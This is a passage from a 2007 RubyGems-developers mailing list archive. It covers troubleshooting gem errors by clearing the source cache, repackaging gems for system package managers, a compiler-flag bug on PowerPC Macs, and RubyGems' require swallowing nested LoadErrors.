make sense, but 3 kind of sucks. a user could care less where this > stuff lives, and even if they do, they want to specify it once, not on every > install, what if they don't remember where it lives? > > I guess this is a problem others have faced and solved. What's the > conventional wisdom about where to put these types of things? > > Jeremy > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > > From anthonyeden at gmail.com Mon Jan 22 13:25:49 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Mon, 22 Jan 2007 13:25:49 -0500 Subject: [Rubygems-developers] undefined method refresh for Hash In-Reply-To: <20070122180230.GA24161@pixel.global-banlist.de> References: <20070122180230.GA24161@pixel.global-banlist.de> Message-ID: The easiest way is to remove your source_cache. This will be located in your lib/ruby/gems/1.8 directory and possibly also in your ~/.gem directory. V/r Anthony Eden On 1/22/07, Marcus Rueckert wrote: > hi, > > on irc i saw a few users with the following problem: > [[[ > 22:53:20 < nertzy> Does anyone here know the proper way to fix the > "undefined method `refresh' for #" error with the new > rubygems > ]]] > > whats the proposed solution for this? any ideas when it happens? > > darix > > -- > openSUSE - SUSE Linux is my linux > openSUSE is good for you > www.opensuse.org > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Cell: 808 782-5046 Current Location: Melbourne, FL From darix at web.de Mon Jan 22 13:55:50 2007 From: darix at web.de (Marcus Rueckert) Date: Mon, 22 Jan 2007 19:55:50 +0100 Subject: [Rubygems-developers] undefined method refresh for Hash In-Reply-To: References: <20070122180230.GA24161@pixel.global-banlist.de> Message-ID: <20070122185550.GU24702@pixel.global-banlist.de> On 2007-01-22 13:25:49 -0500, Anthony Eden wrote: > The easiest way is to remove your source_cache. This will be located > in your lib/ruby/gems/1.8 directory and possibly also in your ~/.gem > directory. that might be worth an item in the FAQ. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From drbrain at segment7.net Mon Jan 22 14:11:22 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 22 Jan 2007 11:11:22 -0800 Subject: [Rubygems-developers] where does persistent data go in a gem? In-Reply-To: References: Message-ID: <690D2FDA-48E0-48AB-A2D9-307F7D09A2CD@segment7.net> On Jan 22, 2007, at 08:59, Jeremy Stell-Smith wrote: > 3) it prompts the user for where to put place it's build directory > on it's first install and subsequent updates. > > 1 & 2 make sense, but 3 kind of sucks. a user could care less > where this stuff lives, and even if they do, they want to specify > it once, not on every install, what if they don't remember where it > lives? > > I guess this is a problem others have faced and solved. What's the > conventional wisdom about where to put these types of things? Provide a command line option, a dotfile to specify it in and a good default. (This question is much more appropriate for ruby-talk.) -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Mon Jan 22 14:13:44 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 22 Jan 2007 11:13:44 -0800 Subject: [Rubygems-developers] undefined method refresh for Hash In-Reply-To: <20070122180230.GA24161@pixel.global-banlist.de> References: <20070122180230.GA24161@pixel.global-banlist.de> Message-ID: <8194C254-9172-442F-A491-363B15317ECD@segment7.net> On Jan 22, 2007, at 10:02, Marcus Rueckert wrote: > hi, > > on irc i saw a few users with the following problem: > [[[ > 22:53:20 < nertzy> Does anyone here know the proper way to fix the > "undefined method `refresh' for #" error with the new > rubygems > ]]] > > whats the proposed solution for this? any ideas when it happens? I've got a script to repair half of the problem. I haven't found the other half yet. After that RubyGems should be self repairing. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From darix at web.de Mon Jan 22 14:19:52 2007 From: darix at web.de (Marcus Rueckert) Date: Mon, 22 Jan 2007 20:19:52 +0100 Subject: [Rubygems-developers] undefined method refresh for Hash In-Reply-To: <8194C254-9172-442F-A491-363B15317ECD@segment7.net> References: <20070122180230.GA24161@pixel.global-banlist.de> <8194C254-9172-442F-A491-363B15317ECD@segment7.net> Message-ID: <20070122191952.GV24702@pixel.global-banlist.de> On 2007-01-22 11:13:44 -0800, Eric Hodel wrote: > On Jan 22, 2007, at 10:02, Marcus Rueckert wrote: > > > hi, > > > > on irc i saw a few users with the following problem: > > [[[ > > 22:53:20 < nertzy> Does anyone here know the proper way to fix the > > "undefined method `refresh' for #" error with the new > > rubygems > > ]]] > > > > whats the proposed solution for this? any ideas when it happens? > > I've got a script to repair half of the problem. I haven't found the > other half yet. After that RubyGems should be self repairing. mind to share the script? i would put it into the %post script of the rpm. so i avoid breaking stuff for users. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From drbrain at segment7.net Mon Jan 22 16:15:56 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 22 Jan 2007 13:15:56 -0800 Subject: [Rubygems-developers] undefined method refresh for Hash In-Reply-To: <20070122191952.GV24702@pixel.global-banlist.de> References: <20070122180230.GA24161@pixel.global-banlist.de> <8194C254-9172-442F-A491-363B15317ECD@segment7.net> <20070122191952.GV24702@pixel.global-banlist.de> Message-ID: <02D5111F-5ACF-4586-BD75-2DB6D14D1FF6@segment7.net> On Jan 22, 2007, at 11:19, Marcus Rueckert wrote: > On 2007-01-22 11:13:44 -0800, Eric Hodel wrote: >> On Jan 22, 2007, at 10:02, Marcus Rueckert wrote: >>> on irc i saw a few users with the following problem: >>> [[[ >>> 22:53:20 < nertzy> Does anyone here know the proper way to fix the >>> "undefined method `refresh' for #" error with the new >>> rubygems >>> ]]] >>> >>> whats the proposed solution for this? any ideas when it happens? >> >> I've got a script to repair half of the problem. I haven't found the >> other half yet. After that RubyGems should be self repairing. > > mind to share the script? i would put it into the %post script of the > rpm. so i avoid breaking stuff for users. Of course. I'll be distributing it here, on ruby-talk and on my blog. I'll finish it tonight or tomorrow. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From scott.parkerson at gmail.com Wed Jan 24 12:06:11 2007 From: scott.parkerson at gmail.com (Scott Parkerson) Date: Wed, 24 Jan 2007 12:06:11 -0500 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) Message-ID: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Folks, I'm trying to come up with a relatively good way to take a Gem and re-package its contents for other package managers. I've seen a Gem2Spec tool for converting Gems to RPM spec filesout there, but would like to dig a little deeper. My specific area of interest is Conary, which is *not* a household name (yet). Specifically, I need to know a few things: * The best way to unpack a gem into a temporary root directory. My guess is to use something like gem install --force --ignore-dependencies --no-wrappers \ --install-dir * Once the temporary root is there, I can then dissect the gem and pull appropriate things and stuff them into their appropriate places (e.g. the stuff in lib under the gem should be put in /usr/lib/ruby/site_ruby/, the docs in /usr/share/doc//{ri,rdoc}, etc. Binary wrappers will have to be re-written to work with the native system, I guess (e.g. what Debian did to /usr/bin/rails). * I'll have to generate provides/deps based on what Conary (or RPM) expects, which is different (and not fine-grained to version, like Gems). That's another issue entirely. But all this is moot if it's still possible to write code which can only be run as a Gem. Is Rubygems source-intrusive (i.e. will having code that has require 'rubygems' bust everything without gems installed and the code being, well, where gems expects)? If so, that means whatever I repackage has to do surgery on the code, which seems suboptimal. The point of all this so that a distribution of Linux, which has its own package manager, can use its update tools to update Ruby packages without having to deal with multiple package managers. Specifically, I want to make appliances that use Ruby-based web apps and make it easy to update the whole OS + Ruby bits. Furthermore, package mangers like Conary assemble entire distributions out of Conary changesets; having a distribution ship Ruby + Rubygems only means having a special post-process to install the desired Gems seems a bit wrong. Bottom line is that I'm not trying to dismiss Gems, or minimize its usefulness. Anyways, please let me know! (Hopefully this is not TL;DR fodder.) Best regards, Scott -- scott parkerson. geek, erstwhile prophet and fool. just a cog in the machinery: http://www.smerpology.org/sprocket/ From thewoolleyman at gmail.com Wed Jan 24 12:43:20 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Wed, 24 Jan 2007 10:43:20 -0700 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: This is the third thread like this that has been started tin the last couple of weeks (there was two here, and one on the mongrel list). You should read those threads for some background. Write back if you can't find them. On 1/24/07, Scott Parkerson wrote: > Folks, > > I'm trying to come up with a relatively good way to take a Gem and > re-package its contents for other package managers. I've seen a > Gem2Spec tool for converting Gems to RPM spec filesout there, but > would like to dig a little deeper. My specific area of interest is > Conary, which is *not* a household name (yet). > > Specifically, I need to know a few things: > > * The best way to unpack a gem into a temporary root directory. My > guess is to use something like > > gem install --force --ignore-dependencies --no-wrappers \ > --install-dir > > * Once the temporary root is there, I can then dissect the gem and > pull appropriate things and stuff them into their appropriate places > (e.g. the stuff in lib under the gem should be put in > /usr/lib/ruby/site_ruby/, the docs in > /usr/share/doc//{ri,rdoc}, etc. Binary wrappers will have > to be re-written to work with the native system, I guess (e.g. what > Debian did to /usr/bin/rails). > > * I'll have to generate provides/deps based on what Conary (or RPM) > expects, which is different (and not fine-grained to version, like > Gems). That's another issue entirely. > > But all this is moot if it's still possible to write code which can > only be run as a Gem. Is Rubygems source-intrusive (i.e. will having > code that has require 'rubygems' bust everything without gems > installed and the code being, well, where gems expects)? If so, that > means whatever I repackage has to do surgery on the code, which seems > suboptimal. > > > The point of all this so that a distribution of Linux, which has its > own package manager, can use its update tools to update Ruby packages > without having to deal with multiple package managers. Specifically, I > want to make appliances that use Ruby-based web apps and make it easy > to update the whole OS + Ruby bits. Furthermore, package mangers like > Conary assemble entire distributions out of Conary changesets; having > a distribution ship Ruby + Rubygems only means having a special > post-process to install the desired Gems seems a bit wrong. Bottom > line is that I'm not trying to dismiss Gems, or minimize its > usefulness. > > > Anyways, please let me know! (Hopefully this is not TL;DR fodder.) > > Best regards, > Scott > > -- > scott parkerson. geek, erstwhile prophet and fool. > just a cog in the machinery: http://www.smerpology.org/sprocket/ > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > From scott.parkerson at gmail.com Wed Jan 24 12:55:34 2007 From: scott.parkerson at gmail.com (Scott Parkerson) Date: Wed, 24 Jan 2007 12:55:34 -0500 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: <2aeb7abd0701240955r804c92lfc67a121c639e85e@mail.gmail.com> On 1/24/07, Chad Woolley wrote: > This is the third thread like this that has been started tin the last > couple of weeks (there was two here, and one on the mongrel list). This is the part where I firmly plant my palms into my forehead. Sorry for reposting! I'll check them out and see if I have more questions. I guess this is the Mongrel-related thread you were talking about, right: http://rubyforge.org/pipermail/mongrel-users/2007-January/002669.html Sheepishly, Scott --- scott parkerson. geek, erstwhile prophet and fool. just a cog in the machinery: http://www.smerpology.org/sprocket/ From darix at web.de Wed Jan 24 12:55:37 2007 From: darix at web.de (Marcus Rueckert) Date: Wed, 24 Jan 2007 18:55:37 +0100 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: <20070124175537.GC3319@pixel.global-banlist.de> hi, i can just speak for the suse side ... and except of patching gem based ruby extensions ... i dont see any issues here. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From mfp at acm.org Wed Jan 24 14:45:42 2007 From: mfp at acm.org (Mauricio Fernandez) Date: Wed, 24 Jan 2007 20:45:42 +0100 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: <20070124194542.GC22998@tux-chan> On Wed, Jan 24, 2007 at 12:06:11PM -0500, Scott Parkerson wrote: > I'm trying to come up with a relatively good way to take a Gem and > re-package its contents for other package managers. I've seen a > Gem2Spec tool for converting Gems to RPM spec filesout there, but > would like to dig a little deeper. My specific area of interest is > Conary, which is *not* a household name (yet). > > Specifically, I need to know a few things: > > * The best way to unpack a gem into a temporary root directory. My > guess is to use something like > > gem install --force --ignore-dependencies --no-wrappers \ > --install-dir $ tar xfO rcodetools-0.4.1.0.gem data.tar.gz | (mkdir ROOT && cd ROOT && tar zxf - 2>/dev/null); find ROOT ROOT ROOT/bin ROOT/bin/rct-complete ROOT/bin/rct-doc ROOT/bin/xmpfilter ROOT/bin/rct-meth-args ROOT/lib ROOT/lib/method_analyzer.rb ROOT/lib/rcodetools ... (more reliable than using gem install) > * Once the temporary root is there, I can then dissect the gem and > pull appropriate things and stuff them into their appropriate places > (e.g. the stuff in lib under the gem should be put in > /usr/lib/ruby/site_ruby/, the docs in > /usr/share/doc//{ri,rdoc}, etc. Binary wrappers will have > to be re-written to work with the native system, I guess (e.g. what > Debian did to /usr/bin/rails). There's no guarantee the sources will be organized in any particular way (some packages do not have lib/, for example), so you'll have to check this on a package basis. > But all this is moot if it's still possible to write code which can > only be run as a Gem. Is Rubygems source-intrusive (i.e. will having > code that has require 'rubygems' bust everything without gems > installed and the code being, well, where gems expects)? If so, that > means whatever I repackage has to do surgery on the code, which seems > suboptimal. Code packaged in gems often does require 'rubygems' without rescuing a possible LoadError exception, so you might have to install RubyGems or a phony rubygems.rb. Older code relied on autorequire and used require_gem 'gemname' without the corresponding #require. This has been replaced by #gem (and autorequire is gone) but it'll take a while before such code disappears completely (if you bump into it, you don't want to repackage it anyway). Applications and libraries which access data files will most probably have to be modified, since at the moment there's no standard solution to the "DATADIR problem" which works on RubyGems and everywhere else. -- Mauricio Fernandez - http://eigenclass.org - singular Ruby From thewoolleyman at gmail.com Wed Jan 24 21:32:01 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Wed, 24 Jan 2007 19:32:01 -0700 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240955r804c92lfc67a121c639e85e@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> <2aeb7abd0701240955r804c92lfc67a121c639e85e@mail.gmail.com> Message-ID: No problem. Sometimes even if you search the archives you won't find what you want, it's OK to ask IMHO. On 1/24/07, Scott Parkerson wrote: > On 1/24/07, Chad Woolley wrote: > > This is the third thread like this that has been started tin the last > > couple of weeks (there was two here, and one on the mongrel list). > > This is the part where I firmly plant my palms into my forehead. Sorry > for reposting! I'll check them out and see if I have more questions. > > I guess this is the Mongrel-related thread you were talking about, right: > http://rubyforge.org/pipermail/mongrel-users/2007-January/002669.html > > Sheepishly, > Scott > --- > scott parkerson. geek, erstwhile prophet and fool. > just a cog in the machinery: http://www.smerpology.org/sprocket/ > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > From jw at innerewut.de Thu Jan 25 03:27:25 2007 From: jw at innerewut.de (Jonathan Weiss) Date: Thu, 25 Jan 2007 09:27:25 +0100 Subject: [Rubygems-developers] Repackaging a Gem for other Package Managers (e.g. RPM, deb, conary, etc.) In-Reply-To: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> References: <2aeb7abd0701240906t55d1ca4duda4bdb09f3a99be1@mail.gmail.com> Message-ID: <45B869ED.8040202@innerewut.de> Cheers, > > Anyways, please let me know! (Hopefully this is not TL;DR fodder.) I tried the same thing for FreeBSD and because of the issues that Mauricio Fernandez and because of the additional complexity of gems that include C-extension I came up with a very simple solutions that works quite well for FreeBSD. Just wrap around gem install/uninstall. This way users can still use the OS package manager to install/update gems and you avoid all problems that reside out of unpacking a gem and installing it by hand. > > Best regards, > Scott > Jonathan -- Jonathan Weiss http://blog.innerewut.de From jorisy at yahoo.com Sat Jan 27 06:06:07 2007 From: jorisy at yahoo.com (Joris Verboomen) Date: Sat, 27 Jan 2007 03:06:07 -0800 (PST) Subject: [Rubygems-developers] Error while executing gem Message-ID: <693077.62578.qm@web30702.mail.mud.yahoo.com> Apparently I am not able to do any updates anymore with gem. I always seem to be getting the same error: ERROR: While executing gem ... (NoMethodError) undefined method `name' for -517611318:Fixnum I am new to ruby so I really have no clue what is happening. ----------------------- sudo gem update --system Updating RubyGems... Need to update 7 gems from http://gems.rubyforge.org ....... complete ERROR: While executing gem ... (NoMethodError) undefined method `name' for -517611318:Fixnum sudo gem update mongrel Updating installed gems... ERROR: While executing gem ... (NoMethodError) undefined method `name' for -517611318:Fixnum sudo gem install flickr ERROR: While executing gem ... (NoMethodError) undefined method `name' for -517611318:Fixnum ruby --version ruby 1.8.5 (2006-08-25) [powerpc-darwin8.8.0] gem --version 0.9.0 ____________________________________________________________________________________ Need Mail bonding? Go to the Yahoo! Mail Q&A for great tips from Yahoo! Answers users. http://answers.yahoo.com/dir/?link=list&sid=396546091 From rubygems at freeze.org Sat Jan 27 09:41:42 2007 From: rubygems at freeze.org (Jim Freeze) Date: Sat, 27 Jan 2007 08:41:42 -0600 Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <693077.62578.qm@web30702.mail.mud.yahoo.com> References: <693077.62578.qm@web30702.mail.mud.yahoo.com> Message-ID: <7256A25F-1F02-4F06-8737-1D060E517B04@freeze.org> On Jan 27, 2007, at 5:06 AM, Joris Verboomen wrote: > Apparently I am not able to do any updates anymore > with gem. I always seem to be getting the same error: > > > ERROR: While executing gem ... (NoMethodError) > undefined method `name' for -517611318:Fixnum > > I am new to ruby so I really have no clue what is > happening. I am getting this error a lot now too. I have not run it down, but it is usually quickly fixed by deleting source_cache in lib/ruby/gems/1.8/source_cache. Jim Freeze -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070127/3b66ae23/attachment.html From darix at web.de Sat Jan 27 10:05:06 2007 From: darix at web.de (Marcus Rueckert) Date: Sat, 27 Jan 2007 16:05:06 +0100 Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <693077.62578.qm@web30702.mail.mud.yahoo.com> References: <693077.62578.qm@web30702.mail.mud.yahoo.com> Message-ID: <20070127150506.GH3319@pixel.global-banlist.de> On 2007-01-27 03:06:07 -0800, Joris Verboomen wrote: > gem --version > 0.9.0 download http://rubyforge.org/frs/download.php/16451/rubygems-update-0.9.1.gem and install it... maybe it solves your problem. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From jorisy at yahoo.com Sat Jan 27 11:34:01 2007 From: jorisy at yahoo.com (Joris Verboomen) Date: Sat, 27 Jan 2007 08:34:01 -0800 (PST) Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <7256A25F-1F02-4F06-8737-1D060E517B04@freeze.org> Message-ID: <359071.28969.qm@web30712.mail.mud.yahoo.com> Thanks Jim, This fixed it. After I deleted the source_cache file I was able to run gem update --system to upgrade rudygems to 0.9.1 without any problems. Is this something that keeps coming back ? If so, any ideas on what causes it ? Thanks ! --- Jim Freeze wrote: > On Jan 27, 2007, at 5:06 AM, Joris Verboomen wrote: > > > Apparently I am not able to do any updates anymore > > with gem. I always seem to be getting the same > error: > > > > > > ERROR: While executing gem ... (NoMethodError) > > undefined method `name' for -517611318:Fixnum > > > > I am new to ruby so I really have no clue what is > > happening. > > I am getting this error a lot now too. I have not > run it > down, but it is usually quickly fixed by deleting > source_cache > in lib/ruby/gems/1.8/source_cache. > > > Jim Freeze > > > > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers ____________________________________________________________________________________ Never miss an email again! Yahoo! Toolbar alerts you the instant new Mail arrives. http://tools.search.yahoo.com/toolbar/features/mail/ From drbrain at segment7.net Sat Jan 27 14:55:57 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sat, 27 Jan 2007 11:55:57 -0800 Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <693077.62578.qm@web30702.mail.mud.yahoo.com> References: <693077.62578.qm@web30702.mail.mud.yahoo.com> Message-ID: On Jan 27, 2007, at 03:06, Joris Verboomen wrote: > Apparently I am not able to do any updates anymore > with gem. I always seem to be getting the same error: > > > ERROR: While executing gem ... (NoMethodError) > undefined method `name' for -517611318:Fixnum > > I am new to ruby so I really have no clue what is > happening. > ----------------------- > sudo gem update --system > Updating RubyGems... > Need to update 7 gems from http://gems.rubyforge.org > ....... > complete > ERROR: While executing gem ... (NoMethodError) > undefined method `name' for -517611318:Fixnum > Let me guess... OS X, XCode 2+, PPC? Recompile ruby with -O1, -fschedule-insns2 causes this. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jorisy at yahoo.com Mon Jan 29 08:53:55 2007 From: jorisy at yahoo.com (Joris Verboomen) Date: Mon, 29 Jan 2007 05:53:55 -0800 (PST) Subject: [Rubygems-developers] Error while executing gem In-Reply-To: Message-ID: <20070129135355.47151.qmail@web30714.mail.mud.yahoo.com> XCode 2.1. I looked into the Makefile generated by the configure command but couldn't find any reference to fschedule-insns2. I have the following: CFLAGS = -g -O2 -pipe -fno-common -DRUBY_EXPORT --- Eric Hodel wrote: > On Jan 27, 2007, at 03:06, Joris Verboomen wrote: > > Apparently I am not able to do any updates anymore > > with gem. I always seem to be getting the same > error: > > > > > > ERROR: While executing gem ... (NoMethodError) > > undefined method `name' for -517611318:Fixnum > > > > I am new to ruby so I really have no clue what is > > happening. > > ----------------------- > > sudo gem update --system > > Updating RubyGems... > > Need to update 7 gems from > http://gems.rubyforge.org > > ....... > > complete > > ERROR: While executing gem ... (NoMethodError) > > undefined method `name' for -517611318:Fixnum > > > > Let me guess... OS X, XCode 2+, PPC? > > Recompile ruby with -O1, -fschedule-insns2 causes > this. > > -- > Eric Hodel - drbrain at segment7.net - > http://blog.segment7.net > > I LIT YOUR GEM ON FIRE! > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > ____________________________________________________________________________________ Do you Yahoo!? Everyone is raving about the all-new Yahoo! Mail beta. http://new.mail.yahoo.com From darix at web.de Mon Jan 29 11:57:45 2007 From: darix at web.de (Marcus Rueckert) Date: Mon, 29 Jan 2007 17:57:45 +0100 Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <20070129135355.47151.qmail@web30714.mail.mud.yahoo.com> References: <20070129135355.47151.qmail@web30714.mail.mud.yahoo.com> Message-ID: <20070129165745.GJ3319@pixel.global-banlist.de> On 2007-01-29 05:53:55 -0800, Joris Verboomen wrote: > XCode 2.1. I looked into the Makefile generated by > the configure command but couldn't find any reference > to fschedule-insns2. I have the following: > > CFLAGS = -g -O2 -pipe -fno-common -DRUBY_EXPORT you need to consult the documentation of your GCC what -f flags it enables with -O2, maybe -fschedule-insns2 is one of them. darix -- openSUSE - SUSE Linux is my linux openSUSE is good for you www.opensuse.org From drbrain at segment7.net Mon Jan 29 15:01:38 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 29 Jan 2007 12:01:38 -0800 Subject: [Rubygems-developers] Error while executing gem In-Reply-To: <20070129165745.GJ3319@pixel.global-banlist.de> References: <20070129135355.47151.qmail@web30714.mail.mud.yahoo.com> <20070129165745.GJ3319@pixel.global-banlist.de> Message-ID: On Jan 29, 2007, at 08:57, Marcus Rueckert wrote: > On 2007-01-29 05:53:55 -0800, Joris Verboomen wrote: >> XCode 2.1. I looked into the Makefile generated by >> the configure command but couldn't find any reference >> to fschedule-insns2. I have the following: >> >> CFLAGS = -g -O2 -pipe -fno-common -DRUBY_EXPORT > > you need to consult the documentation of your GCC what -f flags it > enables with -O2, maybe -fschedule-insns2 is one of them. It is. You'll run into this error again, sometime, and randomly. Probably generating RDoc. From peter_marklund at fastmail.fm Mon Jan 29 14:35:41 2007 From: peter_marklund at fastmail.fm (Peter Marklund) Date: Mon, 29 Jan 2007 20:35:41 +0100 Subject: [Rubygems-developers] Rails throwing LoadError in nested require causes silent failure Message-ID: Hi! I have been bitten by a silent failure stemming from, I think, a miscommunication between Rails and RubyGems with regards to the LoadError exception. In the Rails test_helper.rb file we have a require 'test_help' which in turn requires other files, for example the application.rb file. In my application.rb file I was trying to access a helper file that didn't exist. From within helper.rb Rails would then throw a LoadError. RubyGems would catch this LoadError and apparently interpret it as "test_help" could not be loaded (which is not what Rails was trying to say at all). RubyGems would find "test_help" in the Rails gem and try to do a __require "test_help". Ruby would then return false and not load the file since it had already been loaded and thus the silent failure was a reality. A simple way to solve the issue would be to log an error message to the Rails log when the helper file is not found. The reason I am sending this email is that I wonder under which circumstances "__require path" inside the require method in RubyGems would/should return false? I mean if the file first could not be found by Ruby, and RubyGems finds the file and tells Ruby about it (by adding it to the load path), and Ruby then won't load the file, isn't there a logical inconsistency? Or is the thinking that some other thread could have loaded the file in the meantime? My second question is if you think Rails is misusing the LoadError class here? Thanks in advance! Cheers Peter ---------------------------- Peter Marklund Garvar Lundins Gr?nd 7 11220 Stockholm Sweden Mobile Phone: +46-(0)70-4164857 Home Phone: +46-(0)8-50091315 Skype: peter_marklund IM: AIM - petermarklund, MSN - peter_marklund at hotmail.com, Yahoo - peter_marklund2002 http://marklunds.com ---------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070129/17d6ba2e/attachment.html From peter_marklund at fastmail.fm Mon Jan 29 15:13:51 2007 From: peter_marklund at fastmail.fm (Peter Marklund) Date: Mon, 29 Jan 2007 21:13:51 +0100 Subject: [Rubygems-developers] LoadError in nested require causes silent failure Message-ID: Hi! I've thought a bit more about how RubyGems overrides the Ruby require method and how it deals with LoadErrors and it seems to me that there is general issue with the contract of the Ruby require method being changed, and also, and more seriously, of silent failures. Consider the following example. We have a system with the Rails gem installed and the file test_helper.rb can be found in that gem. Suppose we have a file in the current directory called test_helper.rb that only contains: require 'b' where the file b doesn't exist. Then, with RubyGems no exception is thrown when requiring the test_help.rb file: irb(main):001:0> require 'rubygems' => true irb(main):002:0> require 'test_help' => false According to the contract of require this would indicate that "test_help" has already been loaded, which is true in a sense, but the load failure is never exposed. Without RubyGems an exception is thrown on the first invocation of require, but not the second: require File.join(File.dirname(__FILE__), "test_help") LoadError: no such file to load -- b from ./test_help.rb:1:in `require' from ./test_help.rb:1 from (irb):1 irb(main):002:0> require File.join(File.dirname(__FILE__), "test_help") => false I hope this illustrates the issue that I am getting at. RubyGems cannot know that the LoadError exception refers to the path of the require, it can refer to a nested require. When the second invocation of __require in RubyGems require method returns false, should RubyGems maybe issue a warning? Thanks! Peter ---------------------------- Peter Marklund Garvar Lundins Gr?nd 7 11220 Stockholm Sweden Mobile Phone: +46-(0)70-4164857 Home Phone: +46-(0)8-50091315 Skype: peter_marklund IM: AIM - petermarklund, MSN - peter_marklund at hotmail.com, Yahoo - peter_marklund2002 http://marklunds.com ---------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070129/c5127f24/attachment.html From drbrain at segment7.net Mon Jan 29 16:16:11 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 29 Jan 2007 13:16:11 -0800 Subject: [Rubygems-developers] LoadError in nested require causes silent failure In-Reply-To: References: Message-ID: <458DA4B8-AF3F-4018-8F23-96C491A30271@segment7.net> On Jan 29, 2007, at 12:13, Peter Marklund wrote: > Without RubyGems an exception is thrown on the first invocation of > require, but not the second: > > require File.join(File.dirname(__FILE__), "test_help") > LoadError: no such file to load -- b > from ./test_help.rb:1:in `require' > from ./test_help.rb:1 > from (irb):1 > irb(main):002:0> require File.join(File.dirname(__FILE__), > "test_help") > => false > > I hope this illustrates the issue that I am getting at. RubyGems > cannot know that the LoadError exception refers to the path of the > require, it can refer to a nested require. When the second > invocation of __require in RubyGems require method returns false, > should RubyGems maybe issue a warning? If you can reprudce this without Rails, please file a bug. From halostatue at gmail.com Wed Jan 31 16:29:02 2007 From: halostatue at gmail.com (Austin Ziegler) Date: Wed, 31 Jan 2007 16:29:02 -0500 Subject: [Rubygems-developers] where does persistent data go in a gem? In-Reply-To: References: Message-ID: <9e7db9110701311329m34b90f84r9d2d37e2c02659f2@mail.gmail.com> On 1/22/07, Jeremy Stell-Smith wrote: > I have a little continuous integration server that I want to release as a > gem. It's a rails app that looks at a folder instead of a db. It all works > rather well, except I'm not sure where this folder should live. > > Assumptions right now are : > 1) the application runs in it's entirety from it's gem home > 2) there's a "cruise" executable that is accessibly from anywhere to do > "cruise start", "cruise add_project", etc > 3) it prompts the user for where to put place it's build directory on it's > first install and subsequent updates. > > 1 & 2 make sense, but 3 kind of sucks. a user could care less where this > stuff lives, and even if they do, they want to specify it once, not on every > install, what if they don't remember where it lives? > > I guess this is a problem others have faced and solved. What's the > conventional wisdom about where to put these types of things? Make a simple installer option, e.g.: cruise config That way, someone can configure where they want it installed. 3 is the *right* choice, but explicitly make a configuration option. See ruwiki (which is essentially dead, but solved this problem a long time ago). -austin -- Austin Ziegler * halostatue at gmail.com * http://www.halostatue.ca/ * austin at halostatue.ca * http://www.halostatue.ca/feed/ * austin at zieglers.ca From halostatue at gmail.com Wed Jan 31 16:39:14 2007 From: halostatue at gmail.com (Austin Ziegler) Date: Wed, 31 Jan 2007 16:39:14 -0500 Subject: [Rubygems-developers] Repackaging a Gem for other 